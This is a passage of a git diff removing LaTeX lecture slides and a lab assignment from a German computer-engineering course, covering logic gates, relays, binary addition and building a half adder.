\pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \pnode(0.5,-2.0){C1} - \pnode(1.5,-1.7){D1} - \pnode(1.5,-2.3){E1} - \rput(0,0.55){A} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \rput(1.0,-1.5){B} - \psline[arrows=*-,linewidth=2\pslinewidth](C1)(D1) - \uput[180](C0plus){\textbf{+}} - \psline[arrows=->,arrowsize=0.3](C0)(-1.5,0|C0)(C0plus){} - \psline[arrows=*-](-1.5,0|C0)(-1.5,0|C1)(C1) - \psline[arrows=o-](1.5,0|D0)(D0) - \psline[arrows=o-](2.5,0|D1)(D1) - \psline[arrows=-*](E0)(3.5,-0.3)(3.5,-2.3) - \psline(E1)(3.5,-2.3) - \lamp(3.5,-2.3)(3.5,-4.3){~~Q} - \ground[connectingdot=false](3.5,-4.3) - \end{pspicture} - \end{pdfpic} - \end{visibleenv} - \begin{visibleenv}<6> - \strut\\[-1.5cm] - \begin{minipage}[t]{2.5cm} - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 1 \\\hline - 1 & 0 & 1 \\\hline - 1 & 1 & 1 \\\hline - \end{tabular} - \end{minipage}% - \begin{minipage}[t]{3.5cm} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=or](-0.75,-0.125){or1} - \psline[arrows=o-](-2,0|or12)(or12) - \uput[180](-2,0|or12){A} - \psline[arrows=o-](-2,0|or11)(or11) - \uput[180](-2,0|or11){B} - \psline[arrows=o-](2,0|or1Q)(or1Q) - \uput[0](2,0|or1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{minipage} - \end{visibleenv} - \vss - }% - \vbox to 0pt{% - \begin{visibleenv}<9-> - \vspace*{-2.0cm}% - \hspace*{0.5cm}% - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 0 \\\hline - 1 & 0 & 0 \\\hline - 1 & 1 & 1 \\\hline - \end{tabular}\quad - \begin{minipage}{2.5cm} - \vspace*{0.5cm} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=and](-0.75,-0.125){and1} - \psline[arrows=o-](-2,0|and12)(and12) - \uput[180](-2,0|and12){A} - \psline[arrows=o-](-2,0|and11)(and11) - \uput[180](-2,0|and11){B} - \psline[arrows=o-](2,0|and1Q)(and1Q) - \uput[0](2,0|and1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{minipage}\\[\medskipamount] - \hspace*{0.5cm}% - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 1 \\\hline - 1 & 0 & 1 \\\hline - 1 & 1 & 1 \\\hline - \end{tabular}\quad - \begin{minipage}{2.5cm} - \vspace*{0.5cm} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=or](-0.75,-0.125){or1} - \psline[arrows=o-](-2,0|or12)(or12) - \uput[180](-2,0|or12){A} - \psline[arrows=o-](-2,0|or11)(or11) - \uput[180](-2,0|or11){B} - \psline[arrows=o-](2,0|or1Q)(or1Q) - \uput[0](2,0|or1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{minipage}\\[\medskipamount] - \end{visibleenv}% - \begin{visibleenv}<8->% - \hspace*{0.402cm}% - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 1 \\\hline - 1 & 0 & 1 \\\hline - 1 & 1 & 0 \\\hline - \end{tabular}\quad - \begin{minipage}{2.5cm} - \vspace*{0.5cm} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=exor](-0.75,-0.125){exor1} - \psline[arrows=o-](-2,0|exor12)(exor12) - \uput[180](-2,0|exor12){A} - \psline[arrows=o-](-2,0|exor11)(exor11) - \uput[180](-2,0|exor11){B} - \psline[arrows=o-](2,0|exor1Q)(exor1Q) - \uput[0](2,0|exor1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{minipage} - \end{visibleenv} - \vss - }% - \end{minipage} - \vspace*{-0.9cm} - - \begin{itemize} - \renewcommand{\arraystretch}{1.2} - \item - \newterm{Reihenschaltung}\\[\smallskipamount] - \pause - Lampe leuchtet nur, wenn\\ - beide Schalter betätigt sind.\\[\smallskipamount] - \pause - \newterm{Und-Verknüpfung} - \pause - \medskip - \item - \newterm{Parallelschaltung}\\[\smallskipamount] - \pause - Lampe leuchtet, wenn mindestens\\ - ein Schalter betätigt ist.\\[\smallskipamount] - \pause - \newterm{Oder-Verknüpfung} - \pause - \medskip - \item - {\color{red}Sie sind dran:}\\[\smallskipamount] - Man kann die Lampe jederzeit\\ - an jedem der beiden Schalter\\ - ein- oder ausschalten.\\[\smallskipamount] - \newterm{Exklusiv-Oder-Verknüpfung} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - \medskip - - {\large\textbf{Relais: Strom schaltet einen Schalter}} - - \begin{center} - \includegraphics[width=10cm]{Relay_principle_horizontal.jpg} - % http://commons.wikimedia.org/wiki/File:Relay_principle_horizontal.jpg - % http://commons.wikimedia.org/wiki/File:Electronic_component_relays.jpg - % http://de.wikipedia.org/w/index.php?title=Datei:Elektronenroehre_real.png&filetimestamp=20080713113809 - \end{center} - - \hspace*{0.5cm} - \begin{minipage}{3.5cm} - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1,1.5){A} - \uput[l](-1.5,0|A){$A$} - \pnode(1,1.5){B} - \uput[r](1.5,0|B){$B$} - \relais(A)(B){} - \pnode(-0.5,0){C0} - \uput[l](-1.5,0|C0){$C$} - \pnode(0.5,0.3){D0} - \uput[r](1.5,0|D0){$D$} - \pnode(0.5,-0.3){E0} - \uput[r](1.5,0|E0){$E$} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \psline[linestyle=dashed](0,0.25)(0,1.0) - \psline[arrows=o-](-1.5,0|A)(A) - \psline[arrows=o-](1.5,0|B)(B) - \psline[arrows=o-](-1.5,0|C0)(C0) - \psline[arrows=o-](1.5,0|D0)(D0) - \psline[arrows=o-](1.5,0|E0)(E0) - \end{pspicture} - \end{pdfpic} - \end{minipage} - \pause - \begin{minipage}{3.5cm} - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1,1.5){A} - \uput[l](-1.5,0|A){$A$} - \pnode(1,1.5){B} - \uput[r](1.5,0|B){$B$} - \relais(A)(B){} - \pnode(-0.5,0){C0} - \uput[l](-1.5,0|C0){$C_0$} - \pnode(0.5,0.3){D0} - \uput[r](1.5,0|D0){$D_0$} - \pnode(0.5,-0.3){E0} - \uput[r](1.5,0|E0){$E_0$} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \pnode(-0.5,-1.5){C1} - \uput[l](-1.5,0|C1){$C_1$} - \pnode(0.5,-1.2){D1} - \uput[r](1.5,0|D1){$D_1$} - \pnode(0.5,-1.8){E1} - \uput[r](1.5,0|E1){$E_1$} - \psline[arrows=*-,linewidth=2\pslinewidth](C1)(D1) - \psline[linestyle=dashed](0,-1.25)(0,1.0) - \psline[arrows=o-](-1.5,0|A)(A) - \psline[arrows=o-](1.5,0|B)(B) - \psline[arrows=o-](-1.5,0|C0)(C0) - \psline[arrows=o-](1.5,0|D0)(D0) - \psline[arrows=o-](1.5,0|E0)(E0) - \psline[arrows=o-](-1.5,0|C1)(C1) - \psline[arrows=o-](1.5,0|D1)(D1) - \psline[arrows=o-](1.5,0|E1)(E1) - \end{pspicture} - \end{pdfpic} - \end{minipage} - \pause - \hfill - \textarrow\ - \begin{minipage}[t]{3.5cm} - Logik-Schaltungen\\ - werden kombinierbar. - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - \smallskip - - {\large\textbf{Logik-Schaltungen kombinieren}} - \medskip - - \begin{itemize} - \item - Und-Verknüpfung: Reihenschaltung - - \medskip - - \item - Oder-Verknüpfung: Parallelschaltung - - \medskip - - \item - - Exklusiv-Oder-Verknüpfung\\ - "`entweder A oder B, aber nicht beide"'\phantom{()} - - \bigskip - - \begin{minipage}{2.5cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 1 \\\hline - 1 & 0 & 1 \\\hline - 1 & 1 & 0 \\\hline - \end{tabular} - \end{center} - \end{minipage}% - \begin{minipage}{4cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=exor](-0.75,-0.125){exor1} - \psline[arrows=o-](-2,0|exor12)(exor12) - \uput[180](-2,0|exor12){A} - \psline[arrows=o-](-2,0|exor11)(exor11) - \uput[180](-2,0|exor11){B} - \psline[arrows=o-](2,0|exor1Q)(exor1Q) - \uput[0](2,0|exor1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - \begin{minipage}{5cm} - \begin{center} - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1.5,0.75){C0plus} - \pnode(-0.5,0){C0} - \pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \pnode(4.0,0){C1} - \pnode(3.0,0.3){D1} - \pnode(3.0,-0.3){E1} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \psline[arrows=*-,linewidth=2\pslinewidth](C1)(D1) - \put(0.0,0.3){\makebox(0,0)[b]{A}} - \put(3.5,0.3){\makebox(0,0)[b]{B}} - \uput[180](C0plus){\textbf{+}} - \psline[arrows=->,arrowsize=0.3](C0)(-1.5,0|C0)(C0plus){} - \psline(D0)(1.25,0|D0)(2.25,0|E1)(E1) - \psline(E0)(1.25,0|E0)(2.25,0|D1)(D1) - \psline(C1)(5,0) - \lamp[labeloffset=0.9](5,0)(5,-2){Q} - \ground[connectingdot=false](5,-2) - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - \smallskip - - {\large\textbf{Logik-Schaltungen kombinieren}} - \medskip - - \begin{itemize} - \item - Und-Verknüpfung: Reihenschaltung - - \medskip - - \item - Oder-Verknüpfung: Parallelschaltung - - \medskip - - \item - - Exklusiv-Oder-Verknüpfung:\\ - (A und nicht B) oder (B und nicht A) - - \bigskip - - \begin{minipage}{2.5cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 1 \\\hline - 1 & 0 & 1 \\\hline - 1 & 1 & 0 \\\hline - \end{tabular} - \end{center} - \end{minipage}% - \begin{minipage}{4cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=exor](-0.75,-0.125){exor1} - \psline[arrows=o-](-2,0|exor12)(exor12) - \uput[180](-2,0|exor12){A} - \psline[arrows=o-](-2,0|exor11)(exor11) - \uput[180](-2,0|exor11){B} - \psline[arrows=o-](2,0|exor1Q)(exor1Q) - \uput[0](2,0|exor1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}\hspace*{-1.7cm}% - \begin{minipage}{8cm} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(6,4) - \logic[logicType=and](-0.75,0.625){and1} - \logic[logicType=and](-0.75,-2.125){and2} - \logic[logicType=or](2.25,-0.625){or1} - \psline[arrows=o-](-3,0|and12)(and12) - \uput[180](-3,0|and12){A} - \psline[arrows=o-](-3,0|and21)(and21) - \uput[180](-3,0|and21){B} - \psline[arrows=*-](-2,0|and12)(-2,0|and22)(and22) - \pscircle[fillstyle=solid,fillcolor=white,linewidth=0.5pt](-0.85,0|and22){0.1} - \psline[arrows=*-](-1.5,0|and21)(-1.5,0|and11)(and11) - \pscircle[fillstyle=solid,fillcolor=white,linewidth=0.5pt](-0.85,0|and11){0.1} - \psline(and1Q)(1.5,0|and1Q)(1.5,0|or12)(or12) - \psline(and2Q)(1.5,0|and2Q)(1.5,0|or11)(or11) - \psline[arrows=o-](5,0|or1Q)(or1Q) - \uput[0](5,0|or1Q){Q} - \end{pspicture} - \end{pdfpic} - \vspace*{-1.25cm} - \end{minipage}% - \begin{picture}(0,0) - \put(-6.934,-0.041){\mbox{Q}} - \end{picture} - \end{itemize} - -\end{frame} - -\subsection{Binärdarstellung von Zahlen} - -\begin{frame} - \showsubsection - - Dezimalzahl: - \begin{eqnarray*} - 537_{10} &=& 7 \cdot 1 ~+~ 3 \cdot 10 ~+~ 5 \cdot 100 \\ - &=& 7 \cdot 10^0 ~+~ 3 \cdot 10^1 ~+~ 5 \cdot 10^2 - \end{eqnarray*} - - Binärzahl: - \begin{eqnarray*} - 26_{10} ~=~ - 11010_2 &=& 0 \cdot 1 ~+~ 1 \cdot 2 ~+~ 0 \cdot 4 ~+~ 1 \cdot 8 ~+~ 1 \cdot 16 \\ - &=& 0 \cdot 2^0 ~+~ 1 \cdot 2^1 ~+~ 0 \cdot 2^2 ~+~ 1 \cdot 2^3 ~+~ 1 \cdot 2^4 - \end{eqnarray*} - -\end{frame} - -\begin{frame} - \showsubsection - - Rechnen mit Dezimalzahlen:\quad - $44_{10} + 46_{10}$ - \begin{center} - \begin{tabular}{r} - $44$\\ - $+\quad 46$\\[0.5ex]\hline - \\[-3.5ex] - $\scriptstyle 1\hspace{0.5em}$\\ - $90$ - \end{tabular} - \end{center} - - Rechnen mit Binärzahlen:\quad - $44_{10} + 46_{10} = 101100_2 + 101110_2$ - \begin{center} - \begin{tabular}{r} - $101100$\\ - $+\quad 101110$\\[0.5ex]\hline - \\[-3.5ex] - $\scriptstyle 1\hspace{0.7em}1\hspace{0.1em}1\hspace{1.75em}$\\ - $1011010$ - \end{tabular} - \end{center} - Ergebnis: - \begin{eqnarray*} - 1011010_2 - &=& 0 \cdot 2^0 + 1 \cdot 2^1 + 0 \cdot 2^2 + 1 \cdot 2^3 + 1\cdot 2^4 + 0 \cdot 2^5 + 1 \cdot 2^6 \\ - &=& 2 + 8 + 16 + 64 \\ - &=& 90 - \end{eqnarray*} - -\end{frame} - -\subsection{Vom Logik-Schaltkreis zum Addierer} - -\begin{frame}[fragile] - - \showsubsection - - \vspace{-\medskipamount} - - \begin{itemize} - \item - Und-Verknüpfung: Reihenschaltung - - \medskip - - \item - Oder-Verknüpfung: Parallelschaltung - - \medskip - - \item - - Exklusiv-Oder-Verknüpfung:\\ - (A und nicht B) oder (B und nicht A) - - \medskip - - \item - - Halbaddierer: 1-Bit-Addierer mit 2 Eingängen (X, Y)\\[\smallskipamount] - Ausgang S = X exklusiv-oder Y\\ - Ausgang \Cout = X und Y - - \bigskip - - \begin{minipage}{3.2cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c||c|c|}\hline - X & Y & \Cout & S \\\hline\hline - 0 & 0 & 0 & 0 \\\hline - 0 & 1 & 0 & 1 \\\hline - 1 & 0 & 0 & 1 \\\hline - 1 & 1 & 1 & 0 \\\hline - \end{tabular} - \end{center} - \end{minipage}% - \begin{minipage}{5cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \def\logicusertype{HA} - \logic[logicType=user,logicNInput=2,logicNOutput=2](-0.75,-0.125){ha} - \psline[arrows=o-](-2,0|ha2)(ha2) - \uput[180](-2,0|ha2){X} - \psline[arrows=o-](-2,0|ha1)(ha1) - \uput[180](-2,0|ha1){Y} - \psline[arrows=o-](2,0|haQ1)(haQ1) - \uput[0](2,0|haQ1){\Cout} - \psline[arrows=o-](2,0|haQ2)(haQ2) - \uput[0](2,0|haQ2){S} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}\hspace*{-1.25cm}% - \pause - \begin{minipage}{5cm} - \vspace*{-0.25cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-3)(3,3) - \pnode(-3.5,2.5){A} - \pnode(-3.5,-1.5){B} - \uput[180](A){X} - \uput[180](B){Y} - \logic[logicType=exor](-0.75,0.625){exor} - \logic[logicType=and](-0.75,-2.125){and} - \psline[arrows=o-](A)(exor2) - \psline[arrows=o-](B)(and1) - \psline[arrows=*-](-2.5,0|B)(-2.5,0|exor1)(exor1) - \psline[arrows=*-](-1.5,0|A)(-1.5,0|and2)(and2) - \psline[arrows=-o](exorQ)(2,0|exorQ) - \uput[0](2,0|exorQ){S} - \psline[arrows=-o](andQ)(2,0|andQ) - \uput[0](2,0|andQ){\Cout} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - \begin{picture}(0,0) - \put(-5.077,-0.379){\mbox{\Cout}} - \end{picture} - - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - \vspace{-\medskipamount} - - \begin{itemize} - \item - Und-Verknüpfung: Reihenschaltung - - \medskip - - \item - Oder-Verknüpfung: Parallelschaltung - - \medskip - - \item - - Exklusiv-Oder-Verknüpfung:\\ - (A und nicht B) oder (B und nicht A) - - \medskip - - \item - - Halbaddierer: 1-Bit-Addierer mit 2 Eingängen (X, Y)\\[\smallskipamount] - Ausgang S = X exklusiv-oder Y\\ - Ausgang \Cout = X und Y - - \medskip - - \item - - Volladdierer: 1-Bit-Addierer mit 3 Eingängen (X, Y, \Cin)\\[\smallskipamount] - {\color{red}Sie sind dran.} - - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - Zuse Z3: Rechner aus Relais - \begin{center} - \includegraphics[width=10cm]{Z3_Deutsches_Museum.JPG} - \end{center} - -\end{frame} - -\begin{frame} - - \showsubsection - - Statt Relais: Elektronenröhren - - \begin{minipage}{6.25cm} - \includegraphics[width=6.25cm]{Elektronenroehren-auswahl.jpg} - \end{minipage}\hfill - \begin{minipage}{6cm} - \includegraphics[width=6cm]{Elektronenroehre_real.png} - \end{minipage} - -\end{frame} - -\begin{frame} - - \showsubsection - - ENIAC: Rechner aus Elektronenröhren - \begin{center} - \includegraphics[width=10cm]{Eniac.jpg} - \end{center} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Statt Elektronenröhren: Transistoren - - \bigskip - - \includegraphics[width=7cm]{Transistors-white-cropped.jpg}\\[-5cm] - \hfill - \begin{minipage}{5.5cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-2,-2)(2,2) - \pnode(-1.5,0){B} - \uput[180](B){Basis} - \pnode(1.5,1.5){C} - \uput[0](C){Kollektor} - \pnode(1.5,-1.5){E} - \uput[0](E){Emitter} - \transistor[basesep=1.2,arrows=o-o](B)(E)(C) - \end{pspicture} - \end{pdfpic} - - \medskip - - Bipolartransistor - \end{center} - \end{minipage}\\[1cm] - \hfill - \begin{minipage}{5.5cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-2,-2)(2,2) - \pnode(-1.5,-0.5){B} - \uput[180](B){Gate} - \pnode(1.5,1.5){C} - \uput[0](C){Drain} - \pnode(1.5,-1.5){E} - \uput[0](E){Source} - \transistor[transistortype=MOSFET,basesep=1.2,arrows=o-o](B)(E)(C) - \end{pspicture} - \end{pdfpic} - - \medskip - - Feldeffekttransistor - \end{center} - \end{minipage} - -\end{frame} - -\begin{frame} - - \showsubsection - - Miniaturisierte Transistoren: Integrierte Schaltkreise\\ - \newterm{Integrated Circuit -- IC} - - \begin{center} - - \begin{minipage}{4cm} - \includegraphics[width=4cm]{Intel_80486DX2_top.jpg} - \end{minipage} - \quad - \begin{minipage}{4cm} - \includegraphics[width=4cm]{Intel_80486DX2_bottom.jpg} - \end{minipage} - - \medskip - - \begin{minipage}{4cm} - \includegraphics[width=4cm]{80486dx2-large.jpg} - \end{minipage} - \quad - \begin{minipage}{4cm} - \includegraphics[width=4cm]{IC_Nanotecnology_2400X.JPG} - \end{minipage} - - \end{center} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \begin{itemize} - \color{medgreen} - \item[1.1] Was ist Rechnertechnik? - \item[1.2] Was ist ein Computer? -% \item[1.3] Rechnertechnik im Verhältnis zu anderen Disziplinen - \end{itemize} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \color{medgreen} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \color{black} - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[\dots] - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210412/rtech-2021ss-p1.pdf b/20210412/rtech-2021ss-p1.pdf deleted file mode 100644 index bde58d418ac37fabe42c6ae0df2780d5d95a0b2a..0000000000000000000000000000000000000000 Binary files a/20210412/rtech-2021ss-p1.pdf and /dev/null differ diff --git a/20210412/rtech-2021ss-p1.tex b/20210412/rtech-2021ss-p1.tex deleted file mode 100644 index e7145664f753e872bb96543600bdcd328deeafd3..0000000000000000000000000000000000000000 --- a/20210412/rtech-2021ss-p1.tex +++ /dev/null @@ -1,163 +0,0 @@ -% rtech-2021ss-p1.pdf - Labor Notes on Computer Architecture -% Copyright (C) 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Versuch 1: Halbaddierer - -\documentclass[a4paper]{article} - -\usepackage{pgscript} -\usepackage{multicol} - -\sloppy -\pagestyle{empty} -\addtolength{\textheight}{1cm} -\newcommand{\sep}{~$\cdot$~} -\newcommand{\mylicense}{CC BY-SA (Version 4.0 oder höher) oder GNU GPL (Version 3 oder höher)} - -\begin{document} - - \makebox(0,0.005)[tl]{\includegraphics[scale=0.72]{logo-hochschule-bochum-cvh-text-v2.pdf}}\hfill - \makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}} - \par\bigskip\bigskip - \begin{center} - \Large\textbf{Praktikumsversuch 1: Halbaddierer} - \par\medskip - \normalsize Rechnertechnik\sep - Sommersemester 2021\sep - Prof.~Dr.~Peter Gerwinski - \end{center} - - Aufgabe: Bauen Sie aus Material, das von sich aus - keine Logik-Operationen ausführen kann, einen Halbaddierer. - - \begin{multicols}{2} - In diesem Praktikumsversuch geht es darum, - Systeme, die selbständig Logik-Operationen durchführen können, - selbst zu bauen und sie zu einem Halbaddierer zusammenzuschalten. - - Mögliche Materialien:\\[-1.5\bigskipamount] - \begin{itemize}\setlength{\itemsep}{-0.5\smallskipamount} - \item - elektromechanisch: Relais, Schalter - \item - elektronisch: Widerstände, Dioden, Transistoren, Leuchtdioden, - \emph{nicht jedoch\/} fertig aufgebaute Logik-Gatter (z.\,B.\ in ICs) - \item - mechanisch: Räder, Schienen, Seilzüge, Zahnräder, Federn, \dots - \item - hydrodynamisch: Gefäße, Schläuche, Ventile, Trichter, \dots - \item - pneumatisch - \item - sonstige angewandte Naturkräfte, z.\,B.\ Quantenwechselwirkungen - \item - virtuelle Umgebungen, z.\,B.\ kreativer Umgang mit Computer-Spielen, - \emph{nicht jedoch\/} die Verwendung bereits fertiger Logik-Gatter - wie z.\,B.\ in Software zur Simulation elektronischer Schaltkreise - \end{itemize} - - \textbf{Was auch immer Sie bauen:\\ - Achten Sie auf Sicherheit!} - - Vermeiden Sie Ansteckung mit Krankheiten, Hochspannung, offenes Feuer, - Überschwemmungen, Explosionen, chemische, radioaktive oder sonstige - Gefahrenquellen. - - \breath - - \textbf{Testat:} Führen Sie Ihren funktionsfähigen Halbaddierer vor - und dokumentieren Sie Ihr Projekt in einem Praktikumsbericht. - - Der Praktikumsbericht soll den Anforderungen an eine - wissenschaftliche Dokumentation genügen. - Ein Beispiel, wie ein Praktikumsbericht zu diesem Versuch - aussehen könnte, finden Sie baldmöglichst im GitLab-Repository - zur Lehrveranstaltung. - - Im \textbf{Theorie-Teil der Dokumentation} können Sie das - Wissen, was ein Halbaddierer ist und was Logik-Gatter bewirken, - bereits voraussetzen. Hier genügt es daher, kurz an die - Wahrheitstabelle des Halbaddierers zu erinnern. - Erklären Sie stattdessen ausführlich, auf welche Weise - die von Ihnen eingesetzten Materialien und Naturkräfte die - Logik-Operationen realisieren. - - Erklären Sie dort insbesondere:\\[-\bigskipamount] - \begin{itemize} - \item - Worin besteht die Eingabe? - - (Beispiel: "`Die Eingabe einer 1 an Eingang 1 des - Halbaddierers erfolgt durch das Einfüllen von ca.~10\,ml - Flüssigkeit am Trichter 1 (siehe Abb.~7). - Für den Eingang 2 hingegen erfolgt die Eingabe einer 1 - durch das Auflegen einer Kugel auf die Schiene 3 (Siehe - Abb.~13). In beiden Fällen liegt ansonsten der Eingabewert 0 - vor."') - - \item - Worin besteht die Ausgabe? - - (Beispiel: "`Wenn die LED 1 (siehe Abb.~42) rot aufleuchtet, - signalisiert dies eine 1 am Summen-Ausgang des Halbaddierers, - wenn sie grün aufleuchtet, eine 0. - Wenn der Dominostein 12 (siehe Abb.~137) umfällt, - bedeutet dies eine 1 als Übertrag des Halbaddierers, - wenn er stehenbleibt, eine 0."') - - \item - Was gibt es sonst zu beachten? - - (Beispiel: "`Um den Halbaddierer für einen erneuten Gebrauch - vorzubereiten, ist es notwendig, die Feder~X mit Hilfe der - Kurbel~Y (siehe Abb.~1117) wieder aufzuziehen sowie die - Asche aus dem Schubfach (siehe Abb.~3) zu entfernen und - umweltgerecht zu entsorgen."') - - \end{itemize} - - \end{multicols} - - \strut\hfill\emph{Viel Erfolg!} - - \vfill - - \begingroup - - \small - - \setlength{\leftskip}{3cm} - - Stand: 11.\ April 2021 - -% Soweit nicht anders angegeben:\\ - Copyright \copyright\ 2021\quad Peter Gerwinski\\ - Lizenz: \mylicense - - Sie können diese Praktikumsunterlagen einschließlich \LaTeX-Quelltext -% und Beispielprogramme\\ - herunterladen unter:\\ - \url{https://gitlab.cvh-server.de/pgerwinski/rtech} - - \endgroup - -\end{document} diff --git a/20210412/stellarer-halbaddierer.pdf b/20210412/stellarer-halbaddierer.pdf deleted file mode 100644 index 4366eafdf5ebdd4d0432c240111aa887783cbba0..0000000000000000000000000000000000000000 Binary files a/20210412/stellarer-halbaddierer.pdf and /dev/null differ diff --git a/20210412/stellarer-halbaddierer.tex b/20210412/stellarer-halbaddierer.tex deleted file mode 100644 index 3085d03388a6f83ed4f4c151d0ad94ddfc15b0e5..0000000000000000000000000000000000000000 --- a/20210412/stellarer-halbaddierer.tex +++ /dev/null @@ -1,301 +0,0 @@ -% stellarer-halbaddierer.pdf - Example for a Labor Report on Computer Architecture -% Copyright (C) 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see 